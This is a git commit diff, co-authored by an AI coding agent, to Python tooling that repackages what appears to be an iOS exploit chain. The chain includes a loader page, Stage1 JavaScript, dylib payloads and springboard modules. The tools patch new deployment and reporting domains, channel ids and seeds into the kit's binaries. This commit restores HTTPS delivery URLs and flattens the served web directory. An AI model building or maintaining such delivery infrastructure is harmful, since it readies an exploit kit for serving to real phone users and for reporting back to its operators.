Build delivery over HTTPS and flatten source/web.

Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
hashbro
2026-08-09 16:07:55 +08:00
parent 9153a4f557
commit 8b079d37e4
87 changed files with 108 additions and 86 deletions
+1 -1
View File
@@ -56,7 +56,7 @@ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep.example' \ --deployment-domains 'www.dep.example' \
--reporting-domains 'www.rep.example' \ --reporting-domains 'www.rep.example' \
--support-template test # 或 blank(无 HUD 空白页) --support-template test # test | blank
``` ```
## Tests ## Tests
+1 -1
View File
@@ -10,7 +10,7 @@
{base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js) {base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js)
``` ```
`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。 线上原始 `base` = `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 模板与产物为扁平 `web/`(渠道对外路径为 `/channel/<id>/web/`)。
### Wire 后缀(实测) ### Wire 后缀(实测)
+5 -4
View File
@@ -1,12 +1,13 @@
# Stage JS 与入口 # Stage JS 与入口
线上与 lab 均位于 campaign base: lab 模板与渠道产物均位于扁平 `web/`(不再使用历史 campaign hash 子目录):
```text ```text
web/34f5121f572d6742703eb84ec2f866a6/ frontend/source/web/ # 模板
artifacts/channel/<id>/web/ # 渠道产物
``` ```
`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。 线上原始样本路径曾为 `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 已摊平。`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。
## 阶段职责 ## 阶段职责
@@ -22,7 +23,7 @@ web/34f5121f572d6742703eb84ec2f866a6/
## 文件对照 ## 文件对照
| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` | | lab 文件 (`web/`) | 阶段 | 对标 `coruna/` |
|---|---|---| |---|---|---|
| `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) | | `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) |
| `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` | | `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
+2 -2
View File
@@ -4,7 +4,7 @@ Build-time choices for `web/support.html` (`--support-template` / API `support_t
| Name | Source | Description | | Name | Source | Description |
|------|--------|-------------| |------|--------|-------------|
| `test` | campaign copy under `source/web/<id>/support.html` | Current lab HUD progress UI | | `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS | | `blank` | `blank.html` | Loader scripts only, no HUD UI |
Default is `test`. Default is `test`.
+31 -20
View File
@@ -9,37 +9,47 @@ if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS)) sys.path.insert(0, str(TOOLS))
from _scheme_patch import ( from _scheme_patch import (
HTTPS,
HTTP_SLOT,
HTTP_VISIBLE,
LEGACY_SLASH, LEGACY_SLASH,
NEW_VISIBLE, ensure_deployment_scheme_https,
OLD,
patch_deployment_scheme_to_http,
) )
class SchemePatchTests(unittest.TestCase): class SchemePatchTests(unittest.TestCase):
def test_slot_sizes(self) -> None: def test_slot_sizes(self) -> None:
self.assertEqual(len(OLD), 10) self.assertEqual(len(HTTPS), 10)
self.assertEqual(len(LEGACY_SLASH), 10) self.assertEqual(len(LEGACY_SLASH), 10)
self.assertEqual(len(NEW_VISIBLE), 9) self.assertEqual(len(HTTP_SLOT), 10)
self.assertEqual(len(HTTP_VISIBLE), 9)
def test_patches_core_fat_dylib(self) -> None: def test_leaves_core_https_alone(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
data = src.read_bytes() data = src.read_bytes()
self.assertEqual(data.count(OLD), 2) self.assertEqual(data.count(HTTPS), 2)
out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core") out = ensure_deployment_scheme_https(data, expect_hits=2, label="core")
self.assertEqual(out.count(OLD), 0) self.assertEqual(out, data)
self.assertEqual(out.count(LEGACY_SLASH), 0) self.assertEqual(out.count(HTTPS), 2)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_migrates_legacy_trailing_slash(self) -> None: def test_restores_http_slot_on_core(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
legacy = src.read_bytes().replace(OLD, LEGACY_SLASH) http_patched = src.read_bytes().replace(HTTPS, HTTP_SLOT)
self.assertEqual(legacy.count(LEGACY_SLASH), 2) self.assertEqual(http_patched.count(HTTP_SLOT), 2)
out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core") out = ensure_deployment_scheme_https(http_patched, expect_hits=2, label="core")
self.assertEqual(out.count(HTTPS), 2)
self.assertEqual(out.count(HTTP_SLOT), 0)
self.assertEqual(out.count(LEGACY_SLASH), 0) self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_patches_type0x01_thin(self) -> None: def test_restores_legacy_trailing_slash(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
legacy = src.read_bytes().replace(HTTPS, LEGACY_SLASH)
self.assertEqual(legacy.count(LEGACY_SLASH), 2)
out = ensure_deployment_scheme_https(legacy, expect_hits=2, label="core")
self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(HTTPS), 2)
def test_leaves_type0x01_https_alone(self) -> None:
src = ( src = (
FRONTEND FRONTEND
/ "source" / "source"
@@ -47,9 +57,10 @@ class SchemePatchTests(unittest.TestCase):
/ "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib" / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib"
) )
data = src.read_bytes() data = src.read_bytes()
out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0") self.assertEqual(data.count(HTTPS), 1)
self.assertEqual(out.count(OLD), 0) out = ensure_deployment_scheme_https(data, expect_hits=1, label="t0")
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1) self.assertEqual(out, data)
self.assertEqual(out.count(HTTPS), 1)
if __name__ == "__main__": if __name__ == "__main__":
+2 -2
View File
@@ -17,7 +17,7 @@ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep1.example,www.dep2.example' \ --deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' \
--support-template test # test=HUD 进度页;blank=空白页 --support-template test # test | blank
python3 frontend/tools/new_project.py \ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
@@ -28,7 +28,7 @@ python3 frontend/tools/new_project.py \
--support-template blank --support-template blank
``` ```
`support_template`:`test`(默认,source 中带 HUD 的页面)或 `blank`(去掉 HUD,仅保留加载逻辑)。 `support_template`:`test`(默认 HUD)、`blank`(空白页)。
产物: 产物:
+4 -3
View File
@@ -23,11 +23,11 @@ VENDOR_ROOT = TOOLS_ROOT / "vendor"
if str(VENDOR_ROOT) not in sys.path: if str(VENDOR_ROOT) not in sys.path:
sys.path.insert(0, str(VENDOR_ROOT)) sys.path.insert(0, str(VENDOR_ROOT))
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname). # Campaign / channel id embedded in type-0x01 binaries (seed template).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
# Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each). # Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107" ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden) CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active channel id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core) # Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6" ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -41,7 +41,8 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
_TREE_ROOT = SOURCE_ROOT _TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" CAMPAIGN_DIR = _TREE_ROOT / "web"
SYNC_DIR = _TREE_ROOT / "sync" SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID # Flat delivery template (support.html + stage/native packs live directly under web/).
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web"
# Vendored plaintext inputs (all under source/; no coruna-online runtime dependency). # Vendored plaintext inputs (all under source/; no coruna-online runtime dependency).
TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs" TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
+39 -30
View File
@@ -1,12 +1,15 @@
"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing. """Keep Deployment/Reporting URL scheme as ``https://%@``.
Core/type0x01 build URLs with the cstring/CFString format ``https://%@``. Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``. ``daily.html`` plugin URLs use ``https://[HOST_PLACEHOLDER]/...``.
``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad) Older lab builds patched scheme to cleartext for proxy testing:
and matching CFString length fields are updated 10 → 9. Do **not** use a trailing
slash in the format string — paths already start with ``/``, which produced - ``https://%@`` → ``http://%@\\0`` (9 visible chars + NUL pad), CFString length 10 → 9
``https://host//api/...``. - mistaken same-length form ``http://%@/`` (caused ``host//path``)
This module leaves pristine ``https://%@`` alone and restores any of those
legacy http forms back to ``https://%@`` (CFString length 10).
""" """
from __future__ import annotations from __future__ import annotations
@@ -15,12 +18,17 @@ import struct
from _path_patch import _arm64e_target, _fat_slices, _parse_macho from _path_patch import _arm64e_target, _fat_slices, _parse_macho
OLD = b"https://%@" HTTPS = b"https://%@"
# Previous mistaken same-length patch (caused host//path). # Previous mistaken same-length patch (caused host//path).
LEGACY_SLASH = b"http://%@/" LEGACY_SLASH = b"http://%@/"
# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL). # 10-byte slot from http cleartext patch: 9-char format + NUL pad.
NEW_SLOT = b"http://%@\x00" HTTP_SLOT = b"http://%@\x00"
NEW_VISIBLE = b"http://%@" HTTP_VISIBLE = b"http://%@"
# Back-compat aliases for tests / importers that still use the old names.
OLD = HTTPS
NEW_SLOT = HTTP_SLOT
NEW_VISIBLE = HTTP_VISIBLE
def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
@@ -35,22 +43,23 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
cstring = macho.section("__TEXT", "__cstring") cstring = macho.section("__TEXT", "__cstring")
region = bytearray(data[cstring.offset : cstring.offset + cstring.size]) region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
# Prefer migrating legacy slash form, else patch original https form. https_count = region.count(HTTPS)
if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0: slash_count = region.count(LEGACY_SLASH)
source = LEGACY_SLASH http_slot_count = region.count(HTTP_SLOT)
elif region.count(OLD) == expect_hits:
source = OLD if https_count == expect_hits and slash_count == 0 and http_slot_count == 0:
elif ( # Already https://%@ — nothing to do.
region.count(NEW_VISIBLE) >= expect_hits
and region.count(OLD) == 0
and region.count(LEGACY_SLASH) == 0
):
# Already patched to http://%@ (NUL-terminated).
return data return data
if slash_count == expect_hits and https_count == 0 and http_slot_count == 0:
source = LEGACY_SLASH
elif http_slot_count == expect_hits and https_count == 0 and slash_count == 0:
source = HTTP_SLOT
else: else:
raise SystemExit( raise SystemExit(
f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in " f"{label}: expected {expect_hits} {HTTPS!r} (or legacy http forms) in "
f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}" f"__cstring; found https={https_count} slash={slash_count} "
f"http_slot={http_slot_count}"
) )
hits: list[int] = [] hits: list[int] = []
@@ -67,7 +76,7 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
) )
for hit in hits: for hit in hits:
region[hit : hit + len(NEW_SLOT)] = NEW_SLOT region[hit : hit + len(HTTPS)] = HTTPS
buf = bytearray(data) buf = bytearray(data)
buf[cstring.offset : cstring.offset + cstring.size] = region buf[cstring.offset : cstring.offset + cstring.size] = region
@@ -87,12 +96,12 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
target = raw if architecture == "arm64" else _arm64e_target(raw) target = raw if architecture == "arm64" else _arm64e_target(raw)
if target != path_vmaddr: if target != path_vmaddr:
continue continue
if length not in (len(OLD), len(NEW_VISIBLE)): if length not in (len(HTTPS), len(HTTP_VISIBLE)):
raise SystemExit( raise SystemExit(
f"{label}: scheme CFString length={length}, expected " f"{label}: scheme CFString length={length}, expected "
f"{len(OLD)} or {len(NEW_VISIBLE)}" f"{len(HTTPS)} or {len(HTTP_VISIBLE)}"
) )
struct.pack_into("<Q", buf, record_offset + 24, len(NEW_VISIBLE)) struct.pack_into("<Q", buf, record_offset + 24, len(HTTPS))
patched_lengths += 1 patched_lengths += 1
break break
else: else:
@@ -107,16 +116,16 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
return bytes(buf) return bytes(buf)
def patch_deployment_scheme_to_http( def ensure_deployment_scheme_https(
data: bytes, data: bytes,
*, *,
expect_hits: int, expect_hits: int,
label: str, label: str,
) -> bytes: ) -> bytes:
"""Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs. """Ensure ``https://%@`` (CFString length 10) in thin or fat dylibs.
``expect_hits`` is the total number of format strings across the whole file ``expect_hits`` is the total number of format strings across the whole file
(2 for fat core, 1 for thin type0x01). (2 for fat core, 1 for thin type0x01). Restores legacy lab http patches.
""" """
slices = _fat_slices(data, label=label) slices = _fat_slices(data, label=label)
if slices is None: if slices is None:
+8 -7
View File
@@ -26,7 +26,6 @@ PROJECT_ROOT = FRONTEND_ROOT.parent
SOURCE_ROOT = FRONTEND_ROOT / "source" SOURCE_ROOT = FRONTEND_ROOT / "source"
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts" ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
SUPPORT_TEMPLATES = ("test", "blank") SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "test" DEFAULT_SUPPORT_TEMPLATE = "test"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -72,11 +71,13 @@ def apply_support_template(campaign_dir: Path, template: str) -> None:
def copy_campaign_template(dst_campaign: Path) -> None: def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src = SOURCE_ROOT / "web"
if not src.is_dir(): if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}") raise SystemExit(f"missing source web template: {src}")
if not (src / "support.html").is_file():
raise SystemExit(f"missing source web/support.html under {src}")
if dst_campaign.exists(): if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}") raise SystemExit(f"web dest already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
@@ -220,10 +221,10 @@ def main() -> int:
) )
args = parser.parse_args() args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir(): if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source campaign: {src_campaign}") raise SystemExit(f"missing source web template (need web/support.html): {src_campaign}")
if not src_sync.is_dir(): if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}") raise SystemExit(f"missing source sync: {src_sync}")
+4 -5
View File
@@ -17,7 +17,6 @@ TOOLS = Path(__file__).resolve().parent
FRONTEND_ROOT = TOOLS.parent FRONTEND_ROOT = TOOLS.parent
LAB_ROOT = FRONTEND_ROOT LAB_ROOT = FRONTEND_ROOT
SOURCE_ROOT = FRONTEND_ROOT / "source" SOURCE_ROOT = FRONTEND_ROOT / "source"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str: def gen_seed() -> str:
@@ -39,12 +38,12 @@ def ensure_working_tree(root: Path, channel: str) -> None:
"""Ensure channel-scoped sync/ and web/ exist.""" """Ensure channel-scoped sync/ and web/ exist."""
camp = root / "web" camp = root / "web"
sync = root / "sync" sync = root / "sync"
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_camp = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_camp.is_dir() or not src_sync.is_dir(): if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir():
raise SystemExit( raise SystemExit(
f"missing source template.\n" f"missing source template.\n"
f"expected: {src_camp} and {src_sync}" f"expected: {src_camp}/support.html and {src_sync}"
) )
if not camp.is_dir() or not sync.is_dir(): if not camp.is_dir() or not sync.is_dir():
print("=== bootstrap working tree from source/ ===") print("=== bootstrap working tree from source/ ===")
@@ -54,7 +53,7 @@ def ensure_working_tree(root: Path, channel: str) -> None:
if not camp.is_dir(): if not camp.is_dir():
camp.parent.mkdir(parents=True, exist_ok=True) camp.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk) shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
print(f"copied campaign -> {camp}") print(f"copied web/ -> {camp}")
if not camp.is_dir() or not sync.is_dir(): if not camp.is_dir() or not sync.is_dir():
raise SystemExit(f"failed to bootstrap {camp} / {sync}") raise SystemExit(f"failed to bootstrap {camp} / {sync}")
print() print()
+5 -5
View File
@@ -28,7 +28,7 @@ from _common import (
) )
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _path_patch import patch_initial_daily_path from _path_patch import patch_initial_daily_path
from _scheme_patch import patch_deployment_scheme_to_http from _scheme_patch import ensure_deployment_scheme_https
import _common import _common
from coruna_netconfig_pipeline import ( from coruna_netconfig_pipeline import (
@@ -151,7 +151,7 @@ def update_daily_hashes(
) -> bytes: ) -> bytes:
"""Rewrite channel sync URLs and update hashes/sizes keyed by wire filename.""" """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename."""
obj = json.loads(config_bytes) obj = json.loads(config_bytes)
prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync" prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync"
def patch_entry(entry: dict) -> None: def patch_entry(entry: dict) -> None:
wire = str(entry.get("url", "")).rsplit("/", 1)[-1] wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
@@ -258,7 +258,7 @@ def main() -> int:
if args.root: if args.root:
set_tree_root(args.root) set_tree_root(args.root)
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL # sync-only: working tree may lack web/ when patching sync in isolation
ensure_tree_layout(tree_root(), require_campaign=False) ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply: if args.apply:
if not args.root: if not args.root:
@@ -315,8 +315,8 @@ def main() -> int:
reporting_seed=rep, reporting_seed=rep,
label=label, label=label,
) )
# Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy. # Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch).
data = patch_deployment_scheme_to_http( data = ensure_deployment_scheme_https(
data, expect_hits=2, label=label data, expect_hits=2, label=label
) )
+4 -4
View File
@@ -23,7 +23,7 @@ from _common import (
validate_seed_arg, validate_seed_arg,
) )
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _scheme_patch import patch_deployment_scheme_to_http from _scheme_patch import ensure_deployment_scheme_https
from _path_patch import patch_initial_daily_path from _path_patch import patch_initial_daily_path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common import _common
@@ -49,7 +49,7 @@ def main() -> int:
parser.add_argument( parser.add_argument(
"--channel-id", "--channel-id",
help=( help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ " f"new 32-hex channel id written into type-0x01 "
f"(default: keep {ORIGINAL_CHANNEL_ID})" f"(default: keep {ORIGINAL_CHANNEL_ID})"
), ),
) )
@@ -141,8 +141,8 @@ def main() -> int:
reporting_seed=rep, reporting_seed=rep,
label=path.name, label=path.name,
) )
# Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy. # Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
data = patch_deployment_scheme_to_http( data = ensure_deployment_scheme_https(
data, expect_hits=1, label=path.name data, expect_hits=1, label=path.name
) )
if channel != ORIGINAL_CHANNEL_ID: if channel != ORIGINAL_CHANNEL_ID:
+2 -2
View File
@@ -22,7 +22,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
}, },
"springboard_entries": [ "springboard_entries": [
{ {
"url": "http://[HOST_PLACEHOLDER]/sync/spring.js", "url": "https://[HOST_PLACEHOLDER]/sync/spring.js",
"sha256": "old", "sha256": "old",
"size": 2, "size": 2,
} }
@@ -49,7 +49,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
) )
) )
prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync/" prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync/"
self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js") self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js")
self.assertEqual(result["core"]["sha256"], "core-hash") self.assertEqual(result["core"]["sha256"], "core-hash")
self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js") self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")